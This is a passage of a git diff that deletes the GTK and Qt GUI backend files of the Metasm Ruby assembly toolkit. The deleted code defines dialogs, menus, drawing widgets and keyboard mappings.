delay = Time.now-@@lasterror - sleep 1-delay if delay < 1 # msgbox flood protection - @@lasterror = Time.now - messagebox([$!.message, $!.backtrace].join("\n"), $!.class.name) - end -end - -module Msgbox - include Protect - - def toplevel - if self.kind_of? Gtk::Window - self - else - super() - end - end - - # shows a message box (non-modal) - # args: message, title/optionhash - def messagebox(*a) - MessageBox.new(toplevel, *a) - end - - # asks for user input, yields the result (unless 'cancel' clicked) - # args: prompt, :text => default text, :title => title - def inputbox(*a) - InputBox.new(toplevel, *a) { |*ya| protect { yield(*ya) } } - end - - # asks to chose a file to open, yields filename - # args: title, :path => path - def openfile(*a) - OpenFile.new(toplevel, *a) { |*ya| protect { yield(*ya) } } - end - - # same as openfile, but for writing a (new) file - def savefile(*a) - SaveFile.new(toplevel, *a) { |*ya| protect { yield(*ya) } } - end - - # displays a popup showing a table, yields the selected row - # args: title, [[col0 title, col1 title...], [col0 val0, col1 val0...], [val1], [val2]...] - def listwindow(*a) - ListWindow.new(toplevel, *a) { |*ya| protect { yield(*ya) } } - end -end - -# clipboard = Gtk::Clipboard.get(Gdk::Selection::CLIPBOARD) -# text = clipboard.wait_for_text -# clipboard.text = 'foo' - -# a widget that holds many other widgets, and displays only one of them at a time -class ContainerChoiceWidget < Gtk::Notebook - include Msgbox - - attr_accessor :views, :view_indexes - def initialize(*a, &b) - super() - self.show_border = false - self.show_tabs = false - @views = {} - @view_indexes = [] - - signal_connect('realize') { initialize_visible } if respond_to? :initialize_visible - - initialize_widget(*a, &b) - - show_all - end - - def view(i) - @views[i] - end - - def showview(i) - set_page @view_indexes.index(i) - end - - def addview(name, w) - @view_indexes << name - @views[name] = w - append_page(w, Gtk::Label.new(name.to_s)) - end - - def curview - @views[curview_index] - end - - def curview_index - return if page == -1 - @view_indexes[page] - end -end - -class ContainerVBoxWidget < Gtk::VBox - include Msgbox - - def initialize(*a, &b) - super() - - signal_connect('realize') { initialize_visible } if respond_to? :initialize_visible - - signal_connect('size_request') { |w, alloc| resize(*alloc) } if respond_to? :resize - - self.spacing = 2 - - initialize_widget(*a, &b) - end - - def resize_child(cld, w, h) - pk = query_child_packing(cld) - if h <= 0 - pk[0] = true - h = 1 - else - pk[0] = false - end - return if h == cld.allocation.height - set_child_packing(cld, *pk) - cld.set_height_request(h) - end - - def redraw - end -end - -class DrawableWidget < Gtk::DrawingArea - include Msgbox - - attr_accessor :parent_widget, :caret_x, :caret_y, :hl_word, :hl_word_re - # this hash is used to determine the colors of the Gui elements (background, caret, ...) - # modifications to it are only useful before the widget is first rendered (IE before Gui.main) - attr_accessor :default_color_association - - # keypress event keyval traduction table - Keyboard_trad = Gdk::Keyval.constants.grep(/^GDK_/).inject({}) { |h, cst| - v = Gdk::Keyval.const_get(cst) - key = cst.to_s.sub(/^GDK_/, '').sub(/^KEY_/, '').sub(/^KP_/, '') - if key.length == 1 - key = key[0] # ?a, ?b etc - else - key = key.downcase.to_sym - key = { - :page_up => :pgup, :page_down => :pgdown, :next => :pgdown, - :escape => :esc, :return => :enter, :l1 => :f11, :l2 => :f12, - :prior => :pgup, :menu => :popupmenu, - - :space => ?\ , - :asciitilde => ?~, :quoteleft => ?`, - :exclam => ?!, :at => ?@, - :numbersign => ?#, :dollar => ?$, - :percent => ?%, :asciicircum => ?^, - :ampersand => ?&, :asterisk => ?*, - :parenleft => ?(, :parenright => ?), - :bracketleft => ?[, :bracketright => ?], - :braceleft => ?{, :braceright => ?}, - :less => ?<, :greater => ?>, - :quotedbl => ?", :quoteright => ?', - :coma => ?,, :period => ?., - :colon => ?:, :semicolon => ?;, - :slash => ?/, :equal => ?=, - :plus => ?+, :minus => ?-, - :question => ??, :backslash => ?\\, - :underscore => ?_, :bar => ?|, - :comma => ?,, - :divide => ?/, :multiply => ?*, - :subtract => ?-, :add => ?+ - }.fetch(key, key) - end - - h.update v => key - } - - BasicColor = { :white => 'fff', :palegrey => 'ddd', :black => '000', :grey => '444', - :red => 'f44', :darkred => '800', :palered => 'faa', - :green => '4f4', :darkgreen => '080', :palegreen => 'afa', - :blue => '44f', :darkblue => '008', :paleblue => 'aaf', - :yellow => 'ff4', :darkyellow => '440', :paleyellow => 'ffa', - :orange => 'fc8', - - } - - def initialize(*a, &b) - @parent_widget = nil - - @caret_x = @caret_y = 0 # text cursor position - @oldcaret_x = @oldcaret_y = 1 - @hl_word = nil - - @layout = Pango::Layout.new Gdk::Pango.context # text rendering - - @color = {} - @default_color_association = {:background => :palegrey} - - super() - - # events callbacks - signal_connect('expose_event') { - @w = window ; @gc = Gdk::GC.new(@w) - protect { paint } - @w = @gc = nil - true - } - - signal_connect('size_allocate') { |w, alloc| - protect { resized(alloc.width, alloc.height) } - } - - signal_connect('button_press_event') { |w, ev| - @last_kb_ev = ev - if keyboard_state(:control) - next protect { click_ctrl(ev.x, ev.y) } if ev.event_type == Gdk::Event::Type::BUTTON_PRESS and ev.button == 1 and respond_to? :click_ctrl - next - end - case ev.event_type - when Gdk::Event::Type::BUTTON_PRESS - grab_focus - case ev.button - when 1; protect { click(ev.x, ev.y) } if respond_to? :click - end - when Gdk::Event::Type::BUTTON2_PRESS - case ev.button - when 1; protect { doubleclick(ev.x, ev.y) } if respond_to? :doubleclick - end - end - } - - signal_connect('motion_notify_event') { |w, ev| - @last_kb_ev = ev - if keyboard_state(:control) - protect { mousemove_ctrl(ev.x, ev.y) } if respond_to? :mousemove_ctrl - else - protect { mousemove(ev.x, ev.y) } - end - } if respond_to? :mousemove - - signal_connect('button_release_event') { |w, ev| - case ev.button - when 1; protect { mouserelease(ev.x, ev.y) } if respond_to? :mouserelease - when 3; protect { rightclick(ev.x, ev.y) } if respond_to? :rightclick - end - } - - signal_connect('scroll_event') { |w, ev| - dir = case ev.direction - when Gdk::EventScroll::Direction::UP; :up - when Gdk::EventScroll::Direction::DOWN; :down - else next - end - @last_kb_ev = ev - if keyboard_state(:control) - protect { mouse_wheel_ctrl(dir, ev.x, ev.y) } if respond_to? :mouse_wheel_ctrl - else - protect { mouse_wheel(dir, ev.x, ev.y) } - end - } if respond_to? :mouse_wheel - - signal_connect('key_press_event') { |w, ev| - @last_kb_ev = ev - key = Keyboard_trad[ev.keyval] - if keyboard_state(:control) - protect { keypress_ctrl(key) or (@parent_widget and @parent_widget.keypress_ctrl(key)) } - else - protect { keypress(key) or (@parent_widget and @parent_widget.keypress(key)) } - end - } - - signal_connect('realize') { - BasicColor.each { |tag, val| - @color[tag] = color(val) - } - - set_color_association @default_color_association - - initialize_visible if respond_to? :initialize_visible - } - - initialize_widget(*a, &b) - - # receive keyboard/mouse signals - set_events Gdk::Event::ALL_EVENTS_MASK - set_can_focus true - set_font 'courier 10' - end - - def initialize_widget - end - - - # create a color from a 'rgb' description - def color(val) - if not @color[val] - v = case val.length - when 3; val.scan(/./).map { |c| (c*4).to_i(16) } - when 6; val.scan(/../).map { |c| (c+c).to_i(16) } - end - @color[val] = Gdk::Color.new(*v) - window.colormap.alloc_color(@color[val], true, true) - end - @color[val] - end - - def set_caret_from_click(x, y) - @caret_x = (x-1).to_i / @font_width - @caret_y = y.to_i / @font_height - update_caret - end - - # change the font of the widget - # arg is a Gtk Fontdescription string (eg 'courier 10') - def set_font(descr) - @layout.font_description = Pango::FontDescription.new(descr) - @layout.text = 'x' - @font_width, @font_height = @layout.pixel_size - gui_update - end - - # change the color association - # arg is a hash function symbol => color symbol - # check #initialize/sig('realize') for initial function/color list - # if called before the widget is first displayed onscreen, will register a hook to re-call itself later - def set_color_association(hash) - if not realized? - sid = signal_connect('realize') { - signal_handler_disconnect(sid) - set_color_association(hash) - } - else - hord = Hash.new { |h, k| h[k] = (hash[k] ? h[hash[k]] + 1 : 0) } - hash.sort_by { |k, v| hord[k] }.each { |k, v| @color[k] = color(v) } - modify_bg Gtk::STATE_NORMAL, @color[:background] - gui_update - end - end - - def new_menu - toplevel.new_menu - end - def addsubmenu(*a, &b) - toplevel.addsubmenu(*a, &b) - end - def popupmenu(m, x, y) - toplevel.popupmenu(m, (x+allocation.x).to_i, (y+allocation.y).to_i) - end - - # update @hl_word from a line & offset, return nil if unchanged - def update_hl_word(line, offset, mode=:asm) - return if not line - word = line[0...offset].to_s[/\w*$/] << line[offset..-1].to_s[/^\w*/] - word = nil if word == '' - if @hl_word != word - if word - if mode == :asm and defined?(@dasm) and @dasm - re = @dasm.gui_hilight_word_regexp(word) - else - re = Regexp.escape word - end - @hl_word_re = /^(.*?)(\b(?:#{re})\b)/ - end - @hl_word = word - end - end - - def paint - end - - # invalidate the whole widget area - def redraw - invalidate(0, 0, 1000000, 1000000) - end - - def invalidate_caret(cx, cy, x=0, y=0) - invalidate(x + cx*@font_width, y + cy*@font_height, 2, @font_height) - end - - def invalidate(x, y, w, h) - return if not window - window.invalidate Gdk::Rectangle.new(x, y, w, h), false - end - - def width - allocation.width - end - - def height - allocation.height - end - - def resized(w, h) - redraw - end - - def keypress(key) - end - - def keypress_ctrl(key) - end - - def gui_update - redraw - end - - def draw_color(col) - @gc.set_foreground color(col) - end - - def draw_rectangle(x, y, w, h) - # GTK clips coords around 0x8000 - return if x > 0x7000 or y > 0x7000 - if x < -0x7000 - w += x + 100 - x = -100 - end - if y < -0x7000 - h += y + 100 - y = -100 - end - return if w <= 0 or h <= 0 - w = 0x7000 if w > 0x7000 - h = 0x7000 if h > 0x7000 - - @w.draw_rectangle(@gc, true, x, y, w, h) - end - - def draw_rectangle_color(col, x, y, w, h) - draw_color(col) - draw_rectangle(x, y, w, h) - end - - def draw_line(x, y, ex, ey) - if x.abs > 0x7000 - return if ex.abs > 0x7000 and ((ex < 0) == (x < 0)) - ox = x - x = ((x > 0) ? 0x7000 : -0x7000) - y = ey+(x-ex)*(y-ey)/(ox-ex) - end - if ex.abs > 0x7000 - oex = ex - ex = ((ex > 0) ? 0x7000 : -0x7000) - ey = y+(ex-x)*(ey-y)/(oex-x) - end - if y.abs > 0x7000 - return if ey.abs > 0x7000 and ((ey < 0) == (y < 0)) - oy = y - y = ((y > 0) ? 0x7000 : -0x7000) - x = ex+(y-ey)*(x-ex)/(oy-ey) - end - if ey.abs > 0x7000 - oey = ey - ey = ((ey > 0) ? 0x7000 : -0x7000) - ex = x+(ey-y)*(ex-x)/(oey-y) - end - - @w.draw_line(@gc, x, y, ex, ey) - end - - def draw_line_color(col, x, y, ex, ey) - draw_color(col) - draw_line(x, y, ex, ey) - end - - def draw_string(x, y, str) - return if x.abs > 0x7000 or y.abs > 0x7000 - @layout.text = str - @w.draw_layout(@gc, x, y, @layout) - end - - def draw_string_color(col, x, y, str) - draw_color(col) - draw_string(x, y, str) - end - - # same as draw_string_color + hilight @hl_word_re - def draw_string_hl(col, x, y, str) - if @hl_word - while str =~ @hl_word_re - s1, s2 = $1, $2 - draw_string_color(col, x, y, s1) - x += s1.length*@font_width - hl_w = s2.length*@font_width - draw_rectangle_color(:hl_word_bg, x, y, hl_w, @font_height) - draw_string_color(:hl_word, x, y, s2) - x += hl_w - str = str[s1.length+s2.length..-1] - end - end - draw_string_color(col, x, y, str) - end - - def clipboard_copy(buf) - clipboard = Gtk::Clipboard.get(Gdk::Selection::PRIMARY) - clipboard.text = buf - end - - def clipboard_paste - clipboard = Gtk::Clipboard.get(Gdk::Selection::PRIMARY) - clipboard.wait_for_text - end - - def keyboard_state(query=nil) - case query - when :control, :ctrl - ev = @last_kb_ev and ev.state & Gdk::Window::CONTROL_MASK == Gdk::Window::CONTROL_MASK - when :shift - ev = @last_kb_ev and ev.state & Gdk::Window::SHIFT_MASK == Gdk::Window::SHIFT_MASK - when :alt - ev = @last_kb_ev and ev.state & Gdk::Window::MOD1_MASK == Gdk::Window::MOD1_MASK - else - [:control, :shift, :alt].find_all { |s| keyboard_state(s) } - end - end -end - -module WindowPos - def x; position[0]; end - def x=(nx); move(nx, position[1]); end - def y; position[1]; end - def y=(ny); move(position[0], ny); end - def width; size[0] ; end - def width=(nw); resize(nw, size[1]); end - def height; size[1] ; end - def height=(nh); resize(size[0], nh); end -end - -class MessageBox < Gtk::MessageDialog - include WindowPos - def initialize(owner, str, opts={}) - owner = nil if owner and (not owner.kind_of? Gtk::Window or owner.destroyed?) - owner ||= Gtk::Window.toplevels.first - opts = {:title => opts} if opts.kind_of? String - super(owner, Gtk::Dialog::DESTROY_WITH_PARENT, INFO, BUTTONS_CLOSE, str) - self.title = opts[:title] if opts[:title] - signal_connect('response') { destroy } - show_all - present # bring the window to the foreground & set focus - end -end - -class InputBox < Gtk::Dialog - include WindowPos - attr_accessor :label, :textwidget - - # shows a simplitic input box (eg window with a 1-line textbox + OK button), yields the text - # TODO history, dropdown, autocomplete, contexts, 3D stereo surround, etc - def initialize(owner, str, opts={}) - owner ||= Gtk::Window.toplevels.first - super(nil, owner, Gtk::Dialog::DESTROY_WITH_PARENT, - [Gtk::Stock::OK, Gtk::Dialog::RESPONSE_ACCEPT], [Gtk::Stock::CANCEL, Gtk::Dialog::RESPONSE_REJECT]) - self.title = opts[:title] if opts[:title] - - @label = Gtk::Label.new(str) - @textwidget = Gtk::TextView.new - if opts[:text] - @textwidget.buffer.text = opts[:text].to_s - text_select_all - end - - @@history ||= {} - histkey = opts[:history] || str[0, 10] - @history = (@@history[histkey] ||= []) - @history_off = @history.length - - @textwidget.signal_connect('key_press_event') { |w, ev| - key = DrawableWidget::Keyboard_trad[ev.keyval] - case key - when :escape - response(RESPONSE_REJECT) - true - when :enter - @history << @textwidget.buffer.text.to_s - @history.pop if @history.last == '' - @history.pop if @history.last == @history[-2] - response(RESPONSE_ACCEPT) - true - when :up, :down - txt = @textwidget.buffer.text.to_s - if (@history_off < @history.length or @history.last != txt) - @history[@history_off] = txt - end - @history_off += (key == :up ? -1 : 1) - @history_off %= @history.length - @textwidget.buffer.text = @history[@history_off].to_s - text_select_all - end - } - - signal_connect('response') { |win, id| - resp = @textwidget.buffer.text if id == RESPONSE_ACCEPT - destroy - yield resp.strip if resp - true - } - - vbox.pack_start label, false, false, 8 - vbox.pack_start @textwidget, false, false, 8 - - Gtk::Drag.dest_set(self, - Gtk::Drag::DEST_DEFAULT_MOTION | - Gtk::Drag::DEST_DEFAULT_DROP, - [['text/plain', 0, 0], ['text/uri-list', 0, 0]], - Gdk::DragContext::ACTION_COPY | Gdk::DragContext::ACTION_MOVE) - - signal_connect('drag_data_received') { |w, dc, x, y, data, info, time| - dc.targets.each { |target| - next if target.name != 'text/plain' and target.name != 'text/uri-list' - data.data.each_line { |l| - l = l.chomp.sub(%r{^file://}, '') - self.text = l - } - } - Gtk::Drag.finish(dc, true, false, time) - } - - - show_all - present - end - - def text_select_all - @textwidget.buffer.move_mark('selection_bound', @textwidget.buffer.start_iter) - @textwidget.buffer.move_mark('insert', @textwidget.buffer.end_iter) - end - - def text ; @textwidget.buffer.text ; end - def text=(nt) ; @textwidget.buffer.text = nt ; end -end - -class OpenFile < Gtk::FileChooserDialog - include WindowPos - @@currentfolder = nil - - # shows an asynchronous FileChooser window, yields the chosen filename - # TODO save last path - def initialize(owner, title, opts={}) - owner ||= Gtk::Window.toplevels.first - super(title, owner, Gtk::FileChooser::ACTION_OPEN, nil, - [Gtk::Stock::CANCEL, Gtk::Dialog::RESPONSE_CANCEL], [Gtk::Stock::OPEN, Gtk::Dialog::RESPONSE_ACCEPT]) - f = opts[:path] || @@currentfolder - self.current_folder = f if f - signal_connect('response') { |win, id| - if id == Gtk::Dialog::RESPONSE_ACCEPT - file = filename - @@currentfolder = File.dirname(file) - end - destroy - yield file if file - true - } - - show_all - present - end -end - -class SaveFile < Gtk::FileChooserDialog - include WindowPos - @@currentfolder = nil - - # shows an asynchronous FileChooser window, yields the chosen filename - # TODO save last path - def initialize(owner, title, opts={}) - owner ||= Gtk::Window.toplevels.first - super(title, owner, Gtk::FileChooser::ACTION_SAVE, nil, - [Gtk::Stock::CANCEL, Gtk::Dialog::RESPONSE_CANCEL], [Gtk::Stock::SAVE, Gtk::Dialog::RESPONSE_ACCEPT]) - f = opts[:path] || @@currentfolder - self.current_folder = f if f - signal_connect('response') { |win, id| - if id == Gtk::Dialog::RESPONSE_ACCEPT - file = filename - @@currentfolder = File.dirname(file) - end - destroy - yield file if file - true - } - - show_all - present - end -end - -class ListWindow < Gtk::Dialog - include WindowPos - # shows a window with a list of items - # the list is an array of arrays, displayed as String - # the first array is the column names - # each item clicked yields the block with the selected iterator, double-click also close the popup - def initialize(owner, title, list, h={}) - owner ||= Gtk::Window.toplevels.first - super(title, owner, Gtk::Dialog::DESTROY_WITH_PARENT) - - cols = list.shift - - treeview = Gtk::TreeView.new - treeview.model = Gtk::ListStore.new(*[String]*cols.length) - treeview.selection.mode = Gtk::SELECTION_NONE - if @color_callback = h[:color_callback] - @drawable = DrawableWidget.new # needed for color()... - @drawable.signal_emit('realize') - end - - cols.each_with_index { |col, i| - crt = Gtk::CellRendererText.new - tvc = Gtk::TreeViewColumn.new(col, crt) - tvc.sort_column_id = i - tvc.set_cell_data_func(crt) { |_tvc, _crt, model, iter| - _crt.text = iter[i] - if @color_callback - fu = (0...cols.length).map { |ii| iter[ii] } - fg, bg = @color_callback[fu] - fg ||= :black - bg ||= :white - _crt.foreground = @drawable.color(fg).to_s - _crt.cell_background = @drawable.color(bg).to_s - end - } - treeview.append_column tvc - } - - list.each { |e| - iter = treeview.model.append - e.each_with_index { |v, i| iter[i] = v.to_s } - } - - treeview.model.set_sort_column_id(0) - - treeview.signal_connect('cursor_changed') { |x| - if iter = treeview.selection.selected - yield iter - end - } - treeview.signal_connect('row_activated') { destroy } - - signal_connect('destroy') { h[:ondestroy].call } if h[:ondestroy] - - remove vbox - add Gtk::ScrolledWindow.new.add(treeview) - toplevel.set_default_size cols.length*240, 400 - - show if not h[:noshow] - - # so that the 1st line is not selected by default - treeview.selection.mode = Gtk::SELECTION_SINGLE - end - - def show - show_all - present - end -end - -class Window < Gtk::Window - include WindowPos - include Msgbox - - attr_accessor :menu - def initialize(*a, &b) - super() - - signal_connect('destroy') { destroy_window } - - @vbox = Gtk::VBox.new - add @vbox - - @menu = [] - @menubar = Gtk::MenuBar.new - @accel_group = Gtk::AccelGroup.new - - set_gravity Gdk::Window::GRAVITY_STATIC - @vbox.add @menubar, 'expand' => false - @child = nil - s = Gdk::Screen.default - set_default_size s.width*3/4, s.height*3/4 - - Gtk::Settings.default.gtk_menu_bar_accel = nil # disable F10 -> focus menubar - - (@@mainwindow_list ||= []) << self - - initialize_window(*a, &b) - build_menu - update_menu - - Gtk::Drag.dest_set(self, - Gtk::Drag::DEST_DEFAULT_MOTION | - Gtk::Drag::DEST_DEFAULT_DROP, - [['text/plain', 0, 0], ['text/uri-list', 0, 0]], - Gdk::DragContext::ACTION_COPY | Gdk::DragContext::ACTION_MOVE) - - signal_connect('drag_data_received') { |w, dc, x, y, data, info, time| - dc.targets.each { |target| - next if target.name != 'text/plain' and target.name != 'text/uri-list' - data.data.each_line { |l| - next if not @child or not @child.respond_to? :dragdropfile - l = l.chomp.sub(%r{^file://}, '') - protect { @child.dragdropfile(l) } - } - } - Gtk::Drag.finish(dc, true, false, time) - } - - show_all - end - - def destroy_window - @@mainwindow_list.delete self - Gui.main_quit if @@mainwindow_list.empty? # XXX we don't call main_start ourself.. - end - - def widget=(w) - @vbox.remove @child if @child - @child = w - @vbox.add w if w - show_all - end - - def widget - @child - end - - def build_menu - end - - def new_menu - [] - end - - # finds a menu by name (recursive) - # returns a valid arg for addsubmenu(ret) - def find_menu(name, from=@menu) - name = name.gsub('_', '') - if not l = from.find { |e| e.grep(::String).find { |es| es.gsub('_', '') == name } } - l = from.map { |e| e.grep(::Array).map { |ae| find_menu(name, ae) }.compact.first }.compact.first - end - l.grep(::Array).first if l - end - - def popupmenu(m, x, y) - mh = Gtk::Menu.new - m.each { |e| create_menu_item(mh, e) } - mh.show_all - mh.popup(nil, nil, 2, 0) { |_m, _x, _y, _p| [position[0]+x, position[1]+y, true] } - end - - # append stuff to a menu - # arglist: - # empty = menu separator - # string = menu entry display name (use a single '_' keyboard for shortcut, eg 'Sho_rtcut' => 'r') - # :check = menu entry is a checkbox type, add a true/false argument to specify initial value - # second string = keyboard shortcut (accelerator) - use '^' for Ctrl, and '<up>' for special keys - # a menu object = this entry will open a submenu (you must specify a name, and action is ignored) - # the method takes a block or a Proc argument that will be run whenever the menu item is selected - # - # use @menu to reference the top-level menu bar - # call update_menu when the menu is done - def addsubmenu(menu, *args, &action) - args << action if action - menu << args - menu.last - end - - # make the window's MenuBar reflect the content of @menu - def update_menu - # clear - @menubar.children.dup.each { |mc| @menubar.remove mc } - # populate the menubar using @menu - @menu.each { |e| create_menu_item(@menubar, e) } - @menubar.show_all - end - - def create_menu_item(menu, entry) - args = entry.dup - - # recognise 'OPEN', 'SAVE' etc, with special icon/localisation - stock = (Gtk::Stock.constants.map { |c| c.to_s } & args).first - args.delete stock if stock - accel = args.grep(/^\^?(\w|<\w+>)$/).first - args.delete accel if accel - check = args.delete :check - action = args.grep(::Proc).first - args.delete action if action - if submenu = args.grep(::Array).first - args.delete submenu - sm = Gtk::Menu.new - submenu.each { |e| create_menu_item(sm, e) } - submenu = sm - end - label = args.shift - - if stock - item = Gtk::ImageMenuItem.new(Gtk::Stock.const_get(stock)) - begin - item.label = label if label - rescue - # in some version of gtk, no #label= - item = Gtk::MenuItem.new(label) if label - end - elsif check - item = Gtk::CheckMenuItem.new(label) - item.active = args.shift - elsif label - item = Gtk::MenuItem.new(label) - else - item = Gtk::MenuItem.new - end - item.set_submenu(submenu) if submenu - - if accel - key = accel[-1] - if key == ?> - key = accel[/<(.*)>/, 1] - key = DrawableWidget::Keyboard_trad.index(case key - when 'enter', 'esc', 'tab', /^f(\d\d?)$/i; key.downcase.to_sym - else ?? - end) - end - key = key.unpack('C')[0] if key.kind_of? String # yay rb19 - item.add_accelerator('activate', @accel_group, key, (accel[0] == ?^ ? Gdk::Window::CONTROL_MASK : 0), Gtk::ACCEL_VISIBLE) - end - if action - a = action - if check - a = lambda { |it| it.active = action.call(it.active?) } - end - item.signal_connect('activate') { protect { a.call(item) } } - end - menu.append item - item - end - - def initialize_window - end -end - -class ToolWindow < Gtk::Dialog - include WindowPos - - def initialize(parent=nil, *a, &b) - super('toolwin', parent, Gtk::Dialog::DESTROY_WITH_PARENT) - set_events Gdk::Event::ALL_EVENTS_MASK - set_can_focus true - @child = vbox - initialize_window(*a, &b) - show_all - end - - def widget=(w) - remove @child if @child - @child = w - add @child - if @child.respond_to? :initial_size - resize(*@child.initial_size) - end - show_all - end - - def widget - @child - end -end - -# start the Gui main loop -def self.main - Gtk.main -end - -# ends the Gui main loop -def self.main_quit - Gtk.main_quit -end - -# register a proc to be run whenever the gui loop is idle -# if the proc returns nil/false, delete it -def self.idle_add(&b) - Gtk.idle_add(&b) -end - -# run a single iteration of the main_loop -# e.g. call this from time to time when doing heavy computation, to keep the UI somewhat responsive -def self.main_iter - Gtk.main_iteration_do(false) -end - -end -end - -require 'metasm/gui/dasm_main' -require 'metasm/gui/debug' - diff --git a/lib/metasm/metasm/gui/qt.rb b/lib/metasm/metasm/gui/qt.rb deleted file mode 100644 index d7a4767acf..0000000000 --- a/lib/metasm/metasm/gui/qt.rb +++ /dev/null @@ -1,505 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'Qt4' - -module Metasm -module Gui - -module Protect - @@lasterror = Time.now - def protect - yield - rescue Object - puts $!.message, $!.backtrace # also dump on stdout, for c/c - delay = Time.now-@@lasterror - sleep 1-delay if delay < 1 # msgbox flood protection - @@lasterror = Time.now - messagebox([$!.message, $!.backtrace].join("\n"), $!.class.name) - end -end - -module Msgbox - include Protect - - # shows a message box (non-modal) - # args: message, title/optionhash - def messagebox(text, opts={}) - opts = {:title => opts} if opts.kind_of? String - mbox = Qt::MessageBox.new#(self) - mbox.text = text - mbox.window_title = opts[:title] if opts[:title] - mbox.window_modality = Qt::NonModal - mbox.show - mbox - end - - # asks for user input, yields the result (unless 'cancel' clicked) - # args: prompt, :text => default text, :title => title - def inputbox(prompt, opts={}) - ibox = Qt::InputDialog.new#(self) - ibox.label_text = prompt - ibox.window_title = opts[:title] if opts[:title] - ibox.text_value = opts[:text] if opts[:text] - connect(ibox, SIGNAL('TextValueSelected(v)')) { |v| protect { yield v } } - ibox.show - ibox - end - - @@dialogfilefolder = nil - - # asks to chose a file to open, yields filename - # args: title, :path => path - def openfile(title, opts={}) - f = Qt::FileDialog.get_open_file_name(nil, title, @@dialogfilefolder) - if f and f != '' - @@dialogfilefolder = File.dirname(f) - protect { yield f } - end - f # useless, dialog is modal - end - - # same as openfile, but for writing a (new) file - def savefile(title, opts={}) - f = Qt::FileDialog.get_save_file_name(nil, title, @@dialogfilefolder) - if f and f != '' - @@dialogfilefolder = File.dirname(f) - protect { yield f } - end - f # useless, dialog is modal - end - - # shows a window with a list of items - # the list is an array of arrays, displayed as String - # the first array is the column names - # each item clicked yields the block with the selected iterator, double-click also close the popup - # args: title, [[col0 title, col1 title...], [col0 val0, col1 val0...], [val1], [val2]...] - def listwindow(title, list, h={}) - l = Qt::TreeWidget.new#(self) - l.window_title = title - - cols = list.shift - #l.column_count = cols.length - l.header_labels = cols - list.each { |e| - i = Qt::TreeWidgetItem.new - e.length.times { |idx| i.set_text(idx, e[idx].to_s) } - l.add_top_level_item i - } - - connect(l, SIGNAL('itemActivated(QTreeWidgetItem*,int)')) { |item, col| - next if not item.is_selected - next if not idx = l.index_of_top_level_item(item) - protect { yield(list[idx].map { |e| e.to_s }) } #if iter = treeview.selection.selected - } - connect(l, SIGNAL('itemDoubleClicked(QTreeWidgetItem*,int)')) { l.close } - l.resize(cols.length*120, 400) - l.show if not h[:noshow] - l - end -end - -# a widget that holds many other widgets, and displays only one of them at a time -class ContainerChoiceWidget < Qt::StackedWidget - include Msgbox - - attr_accessor :views, :view_indexes - def initialize(*a) - super() - @views = {} - @view_indexes = [] - - initialize_widget(*a) - initialize_visible if respond_to? :initialize_visible - end - - def view(i) - @views[i] - end - - def showview(i) - set_current_index @view_indexes.index(i) - end - - def addview(name, w) - @view_indexes << name - @views[name] = w - add_widget w - end - - def curview - @views[curview_index] - end - - def curview_index - @view_indexes[current_index] - end -end - -class ContainerVBoxWidget < Qt::VBoxLayout - def initialize(*a) - super() - - signal_connect('realize') { initialize_visible } if respond_to? :initialize_visible - - signal_connect('size_request') { |w, alloc| resize(*alloc) } if respond_to? :resize - - self.spacing = 2 - - initialize_widget(*a) - end -end - -class DrawableWidget < Qt::Widget - include Msgbox - - attr_accessor :parent_widget, :caret_x, :caret_y, :hl_word - # this hash is used to determine the colors of the GUI elements (background, caret, ...) - # modifications to it are only useful before the widget is first rendered (IE before GUI.main) - attr_accessor :default_color_association - - # keypress event keyval traduction table - # RHA no way to enumerate all Key_* constants, they are handled in Qt.const_missing - Keyboard_trad = %w[ -Escape Tab Backtab Backspace Return Enter Insert Delete Pause Print SysReq Clear Home End Left Up Right -Down PageUp PageDown Shift Control Meta Alt AltGr CapsLock NumLock ScrollLock -F1 F2 F3 F4 F5 F6 F7 F8 F9 F10 F11 F12 F13 F14 F15 F16 F17 F18 F19 F20 F21 F22 F23 F24 F25 F26 F27 F28 F29 F30 F31 F32 F33 F34 F35 Super_L Super_R -Menu Hyper_L Hyper_R Help Direction_L Direction_R nobreakspace exclamdown cent sterling currency yen brokenbar section diaeresis copyright -ordfeminine guillemotleft notsign hyphen registered macron degree plusminus twosuperior threesuperior acute mu paragraph periodcentered cedilla onesuperior -masculine guillemotright onequarter onehalf threequarters questiondown Agrave Aacute Acircumflex Atilde Adiaeresis Aring AE Ccedilla Egrave Eacute -Ecircumflex Ediaeresis Igrave Iacute Icircumflex Idiaeresis ETH Ntilde Ograve Oacute Ocircumflex Otilde Odiaeresis multiply Ooblique Ugrave -Uacute Ucircumflex Udiaeresis Yacute THORN ssharp division ydiaeresis Multi_key Codeinput SingleCandidate MultipleCandidate PreviousCandidate Mode_switch Kanji Muhenkan -Henkan Romaji Hiragana Katakana Hiragana_Katakana Zenkaku Hankaku Zenkaku_Hankaku Touroku Massyo Kana_Lock Kana_Shift Eisu_Shift Eisu_toggle Hangul Hangul_Start -Hangul_End Hangul_Hanja Hangul_Jamo Hangul_Romaja Hangul_Jeonja Hangul_Banja Hangul_PreHanja Hangul_PostHanja Hangul_Special Dead_Grave Dead_Acute Dead_Circumflex Dead_Tilde Dead_Macron Dead_Breve Dead_Abovedot -Dead_Diaeresis Dead_Abovering Dead_Doubleacute Dead_Caron Dead_Cedilla Dead_Ogonek Dead_Iota Dead_Voiced_Sound Dead_Semivoiced_Sound Dead_Belowdot Dead_Hook Dead_Horn Back Forward Stop Refresh -VolumeDown VolumeMute VolumeUp BassBoost BassUp BassDown TrebleUp TrebleDown MediaPlay MediaStop MediaPrevious MediaNext MediaRecord HomePage Favorites Search -Standby OpenUrl LaunchMail LaunchMedia Launch0 Launch1 Launch2 Launch3 Launch4 Launch5 Launch6 Launch7 Launch8 Launch9 LaunchA LaunchB -LaunchC LaunchD LaunchE LaunchF MediaLast unknown Call Context1 Context2 Context3 Context4 Flip Hangup No Select Yes -Execute Printer Play Sleep Zoom Cancel - ].inject({}) { |h, cst| - v = Qt.const_get("Key_#{cst}").to_i # AONETUHANOTEUHATNOHEU Qt::Enum != Fixnum - key = cst.downcase.to_sym - key = { :pageup => :pgup, :pagedown => :pgdown, :escape => :esc, :return => :enter }.fetch(key, key) - h.update v => key - } - - def initialize(*a) - @parent_widget = nil - - @caret_x = @caret_y = 0 # text cursor position - @oldcaret_x = @oldcaret_y = 1 - @hl_word = nil - - #@layout = Pango::Layout.new Gdk::Pango.context # text rendering - 